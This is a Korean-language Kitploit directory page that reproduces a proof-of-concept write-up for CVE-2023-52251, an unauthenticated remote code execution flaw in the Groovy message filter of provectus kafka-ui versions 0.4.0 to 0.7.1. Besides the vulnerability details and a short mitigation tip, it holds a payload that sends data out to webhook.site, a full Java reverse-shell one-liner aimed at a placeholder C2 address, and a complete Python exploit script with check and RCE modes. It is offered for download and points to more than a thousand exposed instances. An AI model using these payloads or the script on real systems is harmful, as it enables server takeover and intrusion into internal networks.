Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-52251-POC — CVE-2023-52251 provectus/kafka-ui에 원격 코드 실행 취약점이 있습니다. | Kitploit
도구/GitHubGitHub/bobtheshoplifter/cve-2023-52251-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubbobtheshoplifter/cve-2023-52251-poc

CVE-2023-52251-POC

CVE-2023-52251 provectus/kafka-ui에 원격 코드 실행 취약점이 있습니다.

저장소 보기
2132년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-52251-POC

provectus/kafka-ui에 원격 코드 실행(RCE) 취약점이 있습니다. 이 글을 작성하는 시점에는 패치가 없지만, 공급업체에는 저희와 VINCE 팀이 통보했지만 응답이 없었습니다. 보고서는 2023년 9월 27일에 이메일과 GitHub security를 통해 provectus에 전송되었습니다.

해결 방법

최소한 전체 groovy 필터 함수를 주석 처리하거나 인증을 추가할 것을 제안합니다.

메타데이터

제목값
CVSS 문자열CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H
CVE IDCVE-2023-52251
CVS 설명provectus kafka-ui 0.4.0-0.7.1은 /api/clusters/local/topics/{topic}/messages의 q 매개변수를 통해 원격 명령 실행(RCE) 취약점이 있는 것으로 발견되었습니다.
CVSS 점수9.x
CWECWE-94: 코드 생성의 부적절한 제어('코드 인젝션')
공급업체Provectus
제품kafka-ui
링크https://github.com/provectus/kafka-ui
영향을 받는 버전0.4.0-0.7.1
패치된 버전없음
기여자Thingstad, BobTheShoplifter

세부 정보

취약점 유형: 원격 코드 실행(RCE)

영향받는 소프트웨어: Kafka-ui

버전: [0.4.0-0.7.1]

취약점 설명

groovy 스크립트 필터는 실행되기 전에 검증(sanitization)이 이루어지지 않습니다. 이로 인해 공격자가 서버에서 임의의 코드를 실행할 수 있습니다.

소스 코드 참조

groovyScriptFilter 함수에서 "script"는 실행되기 전에 검증되지 않습니다.

그리고 엔진에서 eval됩니다:

root@kitploit:~
var result = compiledScript.eval(bindings);

https://github.com/provectus/kafka-ui/blob/master/kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java#58

PoC

취약점을 재현하기 위한 특정 구성 세부 정보를 포함한 전체 지침입니다.

필터 사용:

root@kitploit:~
new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

필터 스크린샷

이렇게 하면 서버의 OS 이름과 함께 웹훅으로 요청이 전송됩니다.

웹훅 스크린샷

여기서 더 나아가, 다음 페이로드를 사용하여 리버스 셸을 얻을 수 있습니다:

root@kitploit:~
String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

이 페이로드는 https://www.revshells.com/에서 쉽게 생성할 수 있습니다.

리버스 셸

또한 Python으로 작성된 PoC도 만들어졌습니다:

root@kitploit:~
from time import sleep
import requests
import json
import urllib
import argparse

url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"


def get_clusters():
    global clusters
    clusterfetch = requests.get(url + '/api/clusters')
    clusters = clusterfetch.json()


def get_topics(cluster):
    topicfetch = requests.get(
        url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
    topics = topicfetch.json()['topics']
    return topics


def get_webhooks():
    webhookfetch = requests.post('https://webhook.site/token')
    webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
    print('URL Created: ' + webhook)
    token_id = webhookfetch.json()['uuid']
    headers = {"api-key": webhookfetch.json()['uuid']}
    return webhook, token_id, headers


def Exploit():
    try:
        get_clusters()

        cluster = clusters[0]['name']

        topics = get_topics(cluster)
        topic = topics[0]['name']

        webhook, token_id, headers = get_webhooks()

        checkpayload = 'new URL("'+webhook+'").text'

        rcepayload = 'String host="' + c2 + \
            '";int port='+port + \
            ';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'

        payload = rcepayload if mode == "rce" else checkpayload

        r = requests.get(
            url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
        print(r.text)

        r = requests.get('https://webhook.site/token/' + token_id +
                         '/requests?sorting=newest', headers=headers)

        if r.json()['data'] == []:
            print("No rce found")
        else:
            for request in r.json()['data']:
                print(request)
                print("Rce found")

    except KeyboardInterrupt:
        print("KeyboardInterrupt")
        pass


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Kafka-ui4shell rce.')
    parser.add_argument('--mode', help='check, rce', required=False,
                        choices=['check', 'rce'], default="check")
    parser.add_argument(
        '--url', help='Target url. Example http://localhost:8080', required=True)
    parser.add_argument('--c2', help='C2 ip for RCE',
                        required=False),
    parser.add_argument('--c2port', help='File with urls', required=False)
    args = parser.parse_args()

    if args.mode == "rce":
        # Check if c2 and c2port are set
        if args.c2 and args.c2port:
            c2 = args.c2
            port = args.c2port
            mode = args.mode
            Exploit()
            exit()
        else:
            print("C2 and C2 port are required for RCE")
            exit()

    if args.url:
        url = args.url
        if args.mode:
            mode = args.mode
        if args.c2:
            c2 = args.c2
        if args.c2port:
            port = args.c2port
        Exploit()
        exit()

    else:
        parser.print_help()

영향

이 취약점을 통해 공격자는 서버에서 임의의 코드를 실행할 수 있습니다. 이를 이용해 서버에 접근 권한을 얻고 시스템을 추가로 손상시킬 수 있습니다. 이 취약점은 kafka-ui 웹 인터페이스에 접근할 수 있는 모든 사용자가 악용할 수 있습니다.

이 글을 작성하는 시점에 Cencys에 따르면 인터넷에 노출된 kafka-ui 인스턴스가 1,000개 이상입니다. 이 모든 인스턴스가 이 공격에 취약할 수 있습니다.

Cencys 스크린샷

이 소프트웨어는 또한 내부 네트워크에서 실행될 가능성이 높으며, 공격자가 네트워크에 접근하여 이 취약점을 악용할 수 있습니다.

기여자

Lars Thingstad - @Thingstad Daniel Christensen - @BobTheShoplifter

참고 자료

  • https://cwe.mitre.org/data/definitions/94.html
도구 다운로드